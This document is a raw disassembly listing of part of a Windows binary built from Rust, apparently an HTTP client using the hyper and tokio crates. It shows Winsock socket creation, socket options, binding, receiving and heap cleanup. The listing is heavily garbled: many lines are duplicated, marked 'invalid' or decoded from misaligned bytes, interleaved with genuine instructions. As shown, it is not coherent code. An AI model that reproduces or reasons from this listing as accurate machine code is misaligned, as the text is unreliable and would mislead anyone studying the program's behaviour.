mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0xa88]
lea ecx, [rdi + 0xa88]
lea ecx, [rdi + 0xa88]
call fcn.14014bbd0
lea rcx, [rdi + 0xa90]
cmp qword [rdi + 0xa88], 0
cmp dword [rdi + 0xa88], 0
add byte [rax + rdx + 0x48], dh
mov eax, dword [rcx]
je 0x14010b547
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
jne case.0x14010324d.250
call fcn.1400bbcb0
jmp case.0x14010324d.250
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne case.0x14010324d.250
call fcn.140005950
mov rax, qword [rdi + 0xad0]
test rax, rax
je 0x14010b56b
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
invalid
mov rcx, qword [rdi + 0xad8]
call qword [rax + 0x18]
cmp byte [rdi + 0xa80], 3
or al, byte [rax]
add byte [rbx], al
jne case.0x1400e4103.215
lea rcx, [rdi + 0x8f8]
call fcn.14010cfe0
mov r8, qword [rdi + 0x728]
mov eax, dword [rdi + 0x728]
test r8, r8
je case.0x1400e4103.215
cmp qword [rdi + 0x730], 0
mov edi, 0x730
add byte [rdi + rcx + 0x48], dh
je 0x14010b5a5
mov rcx, qword [0x140215360]
je 0x14010b5a5
mov rcx, qword [0x140215360]
adc byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
sar bh, cl
adc eax, 0x5ca83
invalid
add byte [rbx + rcx*4 - 0x49], cl
cmp byte [rdi], al
invalid
add byte [rax], al
mov r14, qword [rdi + 0x738]
test r14, r14
div byte [rax + rsi + 0x48]
mov esi, dword [rdi + 0x740]
invalid
invalid
add byte [rax], al
je case.0x1400e4103.215
mov rsi, qword [rdi + 0x740]
invalid
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je case.0x1400e4103.215
cmp qword [rsi + 0x10], 0x11
jb 0x14010b5cf
cmp byte [rdi + 0x700], 3
jne 0x14010b657
lea rcx, [rdi + 0x578]
call fcn.14010cfe0
add byte [rax], al
add eax, 0xeae80000
sbb dword [rax], eax
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x79], cl
mov r8, qword [rdi + 0x3a8]
test al, 3
add byte [rax], al
test r8, r8
je 0x14010b657
cmp qword [rdi + 0x3b0], 0
je 0x14010b61b
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rdi + 0x3b8]
test r14, r14
add byte [rbp - 0x7b], cl
div byte [rax + rsi + 0x48]
je 0x14010b657
mov rsi, qword [rdi + 0x3c0]
je 0x14010b657
mov rsi, qword [rdi + 0x3c0]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14010b657
invalid
sbb eax, 0x107e8348
adc dword [rdx + 4], esi
cmp qword [rsi + 0x10], 0x11
jb 0x14010b645
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
ror byte [rbp - 0x77], cl
invalid
cmp qword [rdi + 0x360], 0
je 0x14010b677
mov r8, qword [rdi + 0x358]
mov rcx, qword [0x140215360]
add eax, dword [rax]
add byte [rax - 0x75], cl
or eax, 0x109cf1
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rdi + 0x2b8], 0
je 0x14010b697
mov edi, 0x2b8
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x2b0]
add al, byte [rax]
invalid
mov r8, qword [rdi + 0x2b0]
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0x109cd1
adc byte [rax], al
mov rcx, qword [0x140215360]
adc byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add eax, 0x2887c600
or eax, dword [rax]
add byte [rax], al
invalid
mov byte [rdi + 0xb28], 1
sub byte [rbx], cl
add byte [rax], al
add dword [rcx + rcx*4 - 0x1f], ecx
mov rcx, r12
call case.0x1400fd850.100
cmp r13d, 2
add dh, byte [rbp + 0xa]
add byte [rcx - 0x7d], al
std
add dh, byte [rbp + 0xa]
mov r12, qword [rsp + 0x30]
mov esp, dword [rsp + 0x30]
jmp 0x140109c85
cmp r15, 0xffffffffffffffff
mov r12, qword [rsp + 0x30]
and al, 0x30
dec dword [rbx + rcx*4 + 0x64]
and al, 0x30
je 0x14010b7ff
mov rax, qword [rdi + 0x128]
mov rax, qword [rax]
mov eax, dword [rax]
mov eax, dword [rax]
movzx eax, byte [rax + 0x77]
mov dword [rsp + 0x1c0], eax
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
lea r9, [rsp + 0x1c0]
and al, 0xc0
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
and al, 0xc0
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
mov edx, 6
mov r8d, 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
call qword [sym.imp.WS2_32.dll_setsockopt]
adc eax, 0x5cc4a
int3
cmp eax, 0xffffffff
jne 0x14010b709
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp byte [rdi + 0xd0], 2
jb 0x14010b73d
rol byte [rax], 1
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rdi + 0xf8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg eax, esp
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x18c10b753
mov eax, dword [rdi + 0xf0]
xchg eax, esi
add byte [rax], al
invalid
call 0x18c10b753
mov eax, dword [rdi + 0xf0]
xchg eax, esi
add byte [rax], al
invalid
xchg eax, esi
add byte [rax], al
add bh, bh
push rax
call qword [rax + reloc.WS2_32.dll_recv]
lea rcx, [rdi + 0x118]
invalid
sbb byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
mov eax, dword [rdi + 0x100]
adc byte [rax - 0x73], cl
invalid
mov eax, dword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
mov r8, qword [rdi + 0x110]
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rdi + 0x132], 1
add dword [rax], eax
add byte [rcx], al
jmp 0x140109d04
in eax, 0xff
invalid
mov ecx, 1
mov edx, 0x1f
add byte [rdx + 0x1f], bh
call fcn.14015d7f0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
call fcn.140160fb0
invalid
add byte [rdi], cl
invalid
add eax, 0xb90b0f00
add dword [rax], eax
add byte [rax], al
invalid
mov ecx, 1
add byte [rax], al
add byte [rdx + 0x1c], bh
mov edx, 0x1c
call fcn.14015d7f0
ud2
scasd eax, dword [rdi]
or al, 0
mov edx, 0x23
add byte [rax], al
call fcn.140160fb0
ud2
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0x1e
add byte [rax], al
add al, ch
add al, 0x20
add eax, 0xb90b0f00
add dword [rax], eax
add byte [rax], al
add byte [rdx + 9], bh
call fcn.14015d7f0
invalid
invalid
invalid
add byte [rdi], cl
invalid
add byte [rax], al
call fcn.14015d7f0
ud2
invalid
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srciopoll_evented.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
outsd dx, dword [rsi]
or al, 0
invalid
add byte [rbp + rcx*4 + 5], cl
sub byte [rsi + 0x23ba000c], 0
add byte [rax], al
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnectdns.rs
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea ecx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
mov edx, 0x23
add byte [rax], al
add byte [rax], al
call fcn.140160fb0
ud2
push rdi
add eax, 0x480b0f00
lea ecx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea rcx, str.divide_by_zero_error_when_dividing_duration_by_scalar
lea r8, str.librarycore_src_time.rs
mov edx, 0x35
invalid
add byte [rax], al
invalid
sbb al, byte [rsi]
add byte [rdx + 0x35], bh
invalid
add byte [rax], al
invalid
xor eax, 0xe8000000
sbb bl, byte [rdx + 5]
call fcn.140161290
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0xcf419
or al, 0
lea rax, str.overflow_in_Duration::new
or al, 0
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
lea rax, [0x140204680]
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xf8de6
mov qword [rsp + 0x1d0], rax
and al, 0xd0
add dword [rax], eax
add byte [rsi + 0xf], ah
out dx, eax
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1d8], xmm0
lea rdx, str.librarycore_src_time.rs
invalid
sal bl, 0xf
jg 0x14010b82e
and al, 0xd8
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x6193a
invalid
lea rcx, [rsp + 0x1c0]
call fcn.140160e20
ud2
and al, 0xc0
add dword [rax], eax
add al, ch
pop rbp
push rbp
add eax, 0xe80b0f00
invalid
invalid
call fcn.1400138d0
ud2
add dword [rax], eax
add byte [rax], al
mov rdx, rbp
call fcn.14015d7f0
invalid
invalid
invalid
invalid
invalid
ud2
or ecx, dword [rax - 0x73]
add eax, 0xcf3a7
cmpsd dword [rsi], dword [rdi]
or al, 0
lea rax, str.overflow_in_Duration::new
cmpsd dword [rsi], dword [rdi]
or al, 0
mov qword [rsp + 0xad8], rax
mov qword [rsp + 0xae0], 1
loopne 0x14010b909
add byte [rax], al
add dword [rax], eax
add byte [rax], al
loopne 0x14010b909
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rax, [0x140204680]
mov qword [rsp + 0xae8], rax
or al, byte [rax]
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14010b8a0
and al, 0xf0
or al, byte [rax]
invalid
lea ecx, [rdi]
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
or al, byte [rax]
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x14010b8a0
and al, 0xf0
or al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, str.librarycore_src_time.rs
lea rdx, str.librarycore_src_time.rs
lea rcx, [rsp + 0xad8]
call fcn.140160e20
ud2
test r15, r15
je 0x14010c94e
mov rdi, qword [rsi + 0x28]
mov r12, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
jmp 0x14010cb02
lea rdx, [rcx + 0x20]
mov qword [rax + 0x10], rdx
movzx eax, word [rcx]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rbp + 0xde], xmm0
movups xmm0, xmmword [rcx + 2]
movaps xmmword [rbp + 0xd0], xmm0
cmp ax, 2
je 0x14010c941
mov word [rsi + 0x48], ax
movaps xmm0, xmmword [rbp + 0xd0]
movups xmmword [rsi + 0x4a], xmm0
movups xmm0, xmmword [rbp + 0xde]
movups xmmword [rsi + 0x58], xmm0
mov rcx, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x18]
mov r12, qword [rcx + 0x20]
mov edi, dword [rcx + 0x28]
test ax, ax
mov eax, 2
mov r14d, 0x17
cmove r14d, eax
mov rax, qword [0x140215238]
cmp rax, 3
jne 0x14010c8e2
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, r14d
mov edx, 1
mov r8d, 6
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x14010cb0d
mov r14, rax
mov dword [rbp + 0x1b0], 1
lea r8, [rbp + 0x1b0]
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x14010cbd0
mov r13d, dword [rbx + 0x48]
cmp r13d, 0x3b9aca00
je 0x14010bbc5
mov r15, qword [rbx + 0x40]
mov dword [rbp + 0x1b0], 1
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x1b0]
mov rcx, r14
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x14010bbc0
mov ecx, 0x3e8
mov rax, r15
mul rcx
mov ecx, r13d
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
add rcx, rax
adc rdx, 0
mov eax, 0xffffffff
cmp rcx, rax
cmovae rcx, rax
xor eax, eax
neg rdx
sbb eax, eax
or eax, ecx
mov dword [rbp + 0x1b0], 1
mov dword [rbp + 0x1b4], eax
mov dword [rbp + 0x1b8], 0
mov dword [rbp + 0x240], 0
test dword [rax + 2], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rbp + 0x240]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x1b0]
add byte [rcx + rcx*4 - 0xf], cl
mov edx, 0x98000004
mov r9d, recv
call qword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x14010bbc5
call sub.KERNEL32.dll_GetLastError
cmp word [rsi + 0x48], 0
je 0x14010bc49
cmp byte [rbx + 0x56], 0
je 0x14010bcc4
movups xmm0, xmmword [rbx + 0x57]
movabs rax, 0x1c00000000
add byte [rax], al
sbb al, 0
add byte [rax], al
mov qword [rbp + 0x22c], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x21c], xmm1
add byte [rdi], cl
adc dword [rbp + 0x20c], ecx
movups xmmword [rbp + 0x1fc], xmm1
movups xmmword [rbp + 0x1ec], xmm1
movups xmmword [rbp + 0x1dc], xmm1
movups xmmword [rbp + 0x1cc], xmm1
movups xmmword [rbp + 0x1b8], xmm0
mov dword [rbp + 0x1c8], 0
add byte [rax - 0x39], cl
test dword [rax + 0x17000001], esi
add byte [rax], al
add byte [rax], al
lea rdx, [rbp + 0x1b0]
mov rcx, r14
mov r8d, 0x1c
jmp 0x14010be22
cmp byte [rbx + 0x51], 0
je 0x14010bd7c
mov eax, dword [rbx + 0x52]
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x208], xmm0
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x1e8], xmm0
movups xmmword [rbp + 0x1d8], xmm0
movups xmmword [rbp + 0x1c8], xmm0
test eax, ecx
add dword [rax], eax
add byte [rdi], cl
adc dword [rbp + 0x1b8], eax
mov qword [rbp + 0x228], 0
mov dword [rbp + 0x1b0], 2
mov dword [rbp + 0x1b4], eax
mov dword [rbp + 0x230], reloc.WS2_32.dll_recv
add byte [rax], dl
add byte [rax], al
add byte [rax - 0x73], cl
xchg ebp, eax
mov al, 1
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax - 0x73], cl
xchg ebp, eax
mov al, 1
add byte [rax], al
mov rcx, r14
mov r8d, reloc.WS2_32.dll_recv
jmp 0x14010be22
xorps xmm0, xmm0
movups xmmword [rbp + 0x244], xmm0
mov word [rbp + 0x240], 1
add byte [rdi], cl
mov bh, 0x85
push rdx
add al, byte [rax]
add byte [rsi - 0x77], ah
test dword [rax + 1], esi
add byte [rax], al
add byte [rdi], cl
mov bh, 0x85
push rdx
add al, byte [rax]
add byte [rsi - 0x77], ah
test dword [rax + 1], esi
add byte [rax], al
movups xmm1, xmmword [rbp + 0x242]
movaps xmmword [rbp + 0x160], xmm1
mov rax, qword [rbp + 0x162]
mov ecx, dword [rbp + 0x16a]
movzx edx, word [rbp + 0x16e]
movzx r8d, word [rbp + 0x170]
movups xmmword [rbp + 0x1cc], xmm0
movups xmmword [rbp + 0x1dc], xmm0
movups xmmword [rbp + 0x1ec], xmm0
movups xmmword [rbp + 0x1fc], xmm0
movups xmmword [rbp + 0x20c], xmm0
adc dword [rbp + 0x20c], eax
adc dword [rbp + 0x20c], eax
movups xmmword [rbp + 0x21c], xmm0
mov dword [rbp + 0x22c], 0
add al, byte [rax]
add bh, al
test dword [rdx + rax], ebp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x1c0], ecx
mov word [rbp + 0x1c4], dx
add byte [rsi + 0x44], ah
mov dword [rbp + 0x1c6], eax
mov eax, 0x89000001
invalid
add byte [rsi + 0x44], ah
mov dword [rbp + 0x1c6], eax
mov dword [rbp + 0x1c6], r8d
mov dword [rbp + 0x1c8], 0
mov r8d, 0x1c
xor eax, eax
mov dx, 0x17
xor ecx, ecx
leave
jmp 0x14010bdfd
mov qword [rbp + 0x240], 0
movups xmm0, xmmword [rbp + 0x242]
movaps xmmword [rbp + 0x160], xmm0
movzx eax, word [rbp + 0x252]
mov bh, 0x85
push rdx
add al, byte [rax]
add byte [rsi - 0x77], ah
test dword [rax + 1], esi
add byte [rax], al
mov bh, 0x85
push rdx
add al, byte [rax]
add byte [rsi - 0x77], ah
test dword [rax + 1], esi
add byte [rax], al
movzx eax, word [rbp + 0x164]
rol ax, 8
mov ecx, dword [rbp + 0x160]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
adc dword [rbp + 0x1b8], eax
adc dword [rbp + 0x1b8], eax
movups xmmword [rbp + 0x1c8], xmm0
movups xmmword [rbp + 0x1d8], xmm0
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
movups xmmword [rbp + 0x1e8], xmm0
movups xmmword [rbp + 0x1f8], xmm0
add byte [rax], al
add byte [rax], al
movups xmmword [rbp + 0x208], xmm0
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], 0
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
invalid
mov dx, 2
mov word [rbp + 0x1b0], dx
mov word [rbp + 0x1b2], ax
mov dword [rbp + 0x1b4], ecx
mov dword [rbp + 0x230], r8d
lea rdx, [rbp + 0x1b0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_bind]
xor r13d, r13d
test eax, eax
je 0x14010be3f
call sub.KERNEL32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
test r13, r13
jne 0x14010cc8d
cmp byte [rbx + 0x68], 0
je 0x14010be80
sbb edx, edx
or edx, eax
mov dword [rbp + 0x1b0], edx
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x1b0]
mov rcx, r14
mov edx, 0xffff
mov r8d, 0x1001
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x14010beda
call sub.KERNEL32.dll_GetLastError
jmp 0x14010beda
cmp qword [rbx + 0x10], 0
je case.default.0x14010c000
mov rax, qword [rbx + 0x18]
mov rcx, rax
shr rcx, 0x20
xor edx, edx
neg rcx
sbb edx, edx
or edx, eax
mov dword [rbp + 0x1b0], edx
xchg ebp, eax
mov al, 1
add byte [rax], al
xchg ebp, eax
mov al, 1
add byte [rax], al
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x1b0]
mov al, 1
add byte [rax], al
mov al, 1
add byte [rax], al
mov rcx, r14
mov edx, 0xffff
mov r8d, 0x1002
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne case.default.0x14010c000
call sub.KERNEL32.dll_GetLastError
add eax, 0x46100f00
movups xmm1, xmmword [rsi + 0x58]
movups xmm0, xmmword [rsi + 0x48]
movups xmm1, xmmword [rsi + 0x58]
lea r15, [rsi + 0x68]
mov qword [rsi + 0x68], r12
mov dword [rsi + 0x70], edi
movups xmmword [rsi + 0x78], xmm0
movups xmmword [rsi + 0x88], xmm1
mov qword [rsi + 0x98], r14
movups xmm0, xmmword [rbp + 0x108]
movups xmm1, xmmword [rbp + 0x118]
lea ebx, [rax]
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp + 0x128], dl
lea ebx, [rax]
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp + 0x128], dl
movups xmm3, xmmword [rbp + 0x138]
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm1
add byte [rdi], cl
adc dword [rsi + 0xc0], edx
add byte [rdi], cl
adc dword [rsi + 0xc0], edx
movups xmmword [rsi + 0xd0], xmm3
movups xmm0, xmmword [rbp + 0x148]
adc byte [rbp + 0x148], al
adc byte [rbp + 0x148], al
add qword [rax], rax
add byte [rdi], cl
adc dword [rsi + 0xe0], eax
movups xmmword [rsi + 0xe0], xmm0
mov byte [rsi + 0xf0], 0
mov eax, dword [rbp + 0x190]
mov ecx, dword [rbp + 0x193]
mov dword [rsi + 0xf4], ecx
mov dword [rsi + 0xf1], eax
mov byte [rsi + 0xf8], 0
lea rcx, [rsi + 0xf9]
lea rdx, [rbp - 0x30]
mov r8d, 0xf7
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + 0x1f0]
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
hlt
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
mov qword [rbp + 0x268], rcx
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rsi + 0x280]
lea rcx, [0x14020aba0]
add byte [rax + 0x63], cl
add al, 0x81
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov edi, dword [rsi + 0x1f8]
cmp edi, 0x3b9aca00
jne 0x14010c0ed
movups xmm0, xmmword [rsi + 0x270]
movups xmmword [rsi + 0x2f8], xmm0
adc dword [rsi + 0x2f8], eax
movups xmm0, xmmword [rsi + 0x260]
movups xmmword [rsi + 0x2e8], xmm0
movups xmm0, xmmword [rsi + 0x250]
movups xmmword [rsi + 0x2d8], xmm0
movups xmm0, xmmword [rsi + 0x240]
movups xmmword [rsi + 0x2c8], xmm0
movups xmm0, xmmword [rsi + 0x200]
movups xmm1, xmmword [rsi + 0x210]
adc byte [rsi + 0x210], cl
adc byte [rsi + 0x210], cl
movups xmm2, xmmword [rsi + 0x220]
movups xmm3, xmmword [rsi + 0x230]
movups xmmword [rsi + 0x2b8], xmm3
movups xmmword [rsi + 0x2a8], xmm2
movups xmmword [rsi + 0x298], xmm1
movups xmmword [rsi + 0x288], xmm0
lea rdx, [rsi + 0x288]
lea rcx, [rbp - 0x30]
mov r8, qword [rbp + 0x238]
call fcn.14010d690
mov r14, qword [rbp - 0x30]
cmp r14, 3
je 0x14010c924
mov r15, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x20]
mov r12, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x10]
movzx eax, byte [rsi + 0x300]
cmp eax, 3
je case.0x140103f8e.190
test eax, eax
jne 0x14010c70c
mov rbx, qword [rsi + 0x1f0]
movups xmm0, xmmword [rsi + 0x270]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rsi + 0x260]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [rsi + 0x250]
movaps xmmword [rbp + 0x20], xmm0
movups xmm0, xmmword [rsi + 0x240]
movaps xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [rsi + 0x200]
movups xmm1, xmmword [rsi + 0x210]
movups xmm2, xmmword [rsi + 0x220]
movups xmm3, xmmword [rsi + 0x230]
adc byte [rsi + 0x230], bl
movaps xmmword [rbp], xmm3
movaps xmmword [rbp - 0x10], xmm2
movaps xmmword [rbp - 0x20], xmm1
movaps xmmword [rbp - 0x30], xmm0
call fcn.14013ac10
mov r12, rax
add r12, rbx
jb 0x14010c17c
mov r15d, edx
add r15d, edi
cmp r15d, 0x3b9aca00
jb 0x14010c235
call fcn.14013ac10
add rax, 0x38640900
add eax, 0x38640900
jb 0x14010ce3d
imul r12, rcx, 0x44b83
shr r12, 0x27
add r12, rax
jb 0x14010ce71
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_time_sleep.rs
call fcn.140144d20
mov r13, rdx
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rdx
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rax - 0x7f], cl
ret 0xc0
add byte [rax], al
test rax, rax
cmove rcx, rdx
cmp dword [rcx + 0xd0], 0x3b9aca00
jne 0x14010c277
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rax - 0x7f], cl
ret 0xc0
lea rcx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_time_sleep.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
ud2
lea rcx, [rsi + 0x2b8]
call fcn.14010d580
cmp r14d, 2
je 0x14010c712
or al, 0
call fcn.140144d20
mov r13, rdx
mov qword [rbp + 0x190], rax
add byte [rax - 0x77], cl
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rax - 0x7f], cl
add edx, 0xc0
add byte [rax - 0x77], cl
xchg ebp, eax
cwde
add dword [rax], eax
add byte [rax - 0x73], cl
mov ch, byte [rax]
add dword [rax], eax
add byte [rax - 0x7f], cl
invalid
ret 0xc0
add edx, 0xc0
test rax, rax
cmove rcx, rdx
cmp dword [rcx + 0xd0], 0x3b9aca00
je 0x14010ceb7
lea rcx, [rbp + 0x198]
mov edx, 1
lock xadd qword [r13], rdx
test rax, rax
je 0x14010c2e3
test rdx, rdx
js 0x14010ce39
movups xmmword [rbp + 0x10c], xmm0
movups xmmword [rbp + 0x11c], xmm0
movups xmm0, xmmword [rbp + 0x108]
movaps xmmword [rbp + 0x240], xmm0
movups xmm0, xmmword [rbp + 0x118]
movaps xmmword [rbp + 0x250], xmm0
mov eax, dword [rbp + 0x128]
mov dword [rbp + 0x260], eax
lock dec qword [r13]
mov edi, 1
jne 0x14010c335
call fcn.1401439e0
jmp 0x14010c335
test rdx, rdx
js 0x14010ce39
mov eax, r15d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r15d, eax
mov eax, dword [rbp + 0x260]
mov dword [rbp + 0x180], eax
movaps xmm0, xmmword [rbp + 0x240]
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x170], xmm1
movaps xmmword [rbp + 0x160], xmm0
mov eax, dword [rbp + 0xfa]
mov ecx, dword [rbp + 0xfd]
mov dword [rbp + 0x1a0], eax
mov dword [rbp + 0x1a3], ecx
mov eax, dword [rbp + 0x101]
mov ecx, dword [rbp + 0x104]
add byte [rcx + 0x1a885], cl
add byte [rcx + 0x1ab8d], cl
add byte [rdi], cl
sub byte [rbp - 0x30], al
add byte [rcx + 0x1a885], cl
add byte [rcx + 0x1ab8d], cl
add byte [rdi], cl
sub byte [rbp - 0x30], al
movaps xmm1, xmmword [rbp - 0x20]
movaps xmm2, xmmword [rbp - 0x10]
movaps xmm3, xmmword [rbp]
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1c0], xmm1
movaps xmmword [rbp + 0x1d0], xmm2
movaps xmmword [rbp + 0x1e0], xmm3
movaps xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x200], xmm0
add byte [rdi], cl
sub byte [rbp + 0x30], al
add byte [rdi], cl
sub byte [rbp + 0x30], al
movaps xmmword [rbp + 0x210], xmm0
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x220], xmm0
test dword [rax], esp
add al, byte [rax]
add byte [rax - 0x77], cl
mov esi, 0x288
test dword [rax], esp
add al, byte [rax]
add byte [rax - 0x77], cl
mov esi, 0x288
mov qword [rsi + 0x290], r13
mov qword [rsi + 0x298], r12
mov dword [rsi + 0x2a0], r15d
movaps xmm0, xmmword [rbp + 0x160]
add al, byte [rax]
add byte [rcx + rcx*4 - 0x5a], cl
cwde
add al, byte [rax]
add byte [rcx + rcx*4 - 0x42], al
movabs al, byte [0x16085280f000002]
add byte [rax], al
movaps xmm1, xmmword [rbp + 0x170]
sub byte [rbp + 0x170], cl
movups xmmword [rsi + 0x2a4], xmm0
adc dword [rsi + 0x2a4], eax
movups xmmword [rsi + 0x2b4], xmm1
mov eax, dword [rbp + 0x180]
mov dword [rsi + 0x2c4], eax
mov qword [rsi + 0x2c8], 0xffffffffffffffff
xorps xmm0, xmm0
